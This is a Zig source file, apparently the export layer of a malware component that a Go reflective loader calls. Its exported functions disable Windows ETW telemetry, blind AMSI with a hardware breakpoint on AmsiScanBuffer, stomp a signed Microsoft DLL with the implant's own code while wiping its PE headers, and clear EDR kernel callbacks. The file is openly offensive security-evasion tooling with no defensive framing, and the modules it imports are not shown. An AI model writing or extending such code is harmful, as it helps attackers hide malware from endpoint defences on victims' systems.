// 1. ensure() — resolve APIs + init syscall gadgets. Called before every export.
// 2. init_evasion() — called by Go reflective loader after DllMain.
// 3. patch_etw() — three-tier ETW: NtTraceControl → HWBP → RET patch.
// 4. patch_amsi() — HWBP on AmsiScanBuffer, no bytes modified.
// 5. stomp_evasion(base) — copy .text into signed MS DLL, wipe headers. base from Go.
// 6. is_relocated() — true if stomp moved us (Go uses this for honest logs).
// 7. remove_edr_callbacks() — NtSetInformationProcess(InfoClass=40) clears EDR callbacks.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const syscall = @import("syscall.zig");
const amsi = @import("amsi.zig");
const etw = @import("etw.zig");
const stomp = @import("stomp.zig");

var g_initialized: bool = false;

// 1. one-time setup — resolves all API pointers and scans ntdll for syscall gadgets.
fn ensure() void {
    if (g_initialized) return;
    g_initialized = true;
    api.ensure();
    _ = syscall.init_syscall();
}

// 2. called by the Go loader after DllMain.
export fn init_evasion() void {
    ensure();
}

// 3. three-tier — tries NtTraceControl first, then HWBP, then RET patch as last resort.
export fn patch_etw() void {
    ensure();
    etw.patch_etw();
}

// 4. hardware breakpoint on AmsiScanBuffer — no bytes touched in amsi.dll.
export fn patch_amsi() void {
    ensure();
    amsi.patch_amsi();
}

// 5. copies our .text into a signed Microsoft DLL, wipes our PE headers. base comes from Go.
export fn stomp_evasion(base: ?*anyopaque) void {
    ensure();
    _ = stomp.stomp_module(base);
}

// 6. returns true if stomp actually relocated us — Go uses this to be honest in logs.
export fn is_relocated() bool {
    return stomp.g_evasion_relocated;
}

// 7. clears EDR kernel callbacks via NtSetInformationProcess(InfoClass=40). runs last.
export fn remove_edr_callbacks() void {
    ensure();
    syscall.remove_edr_callbacks();
}
